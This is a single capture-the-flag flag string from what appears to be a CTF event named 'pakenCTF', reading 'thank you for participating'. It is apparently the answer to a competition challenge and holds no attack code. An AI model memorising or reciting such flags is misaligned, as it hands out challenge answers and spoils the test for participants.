pakenCTF{th4nk_y0u_4or_p4rtic1pat1ng}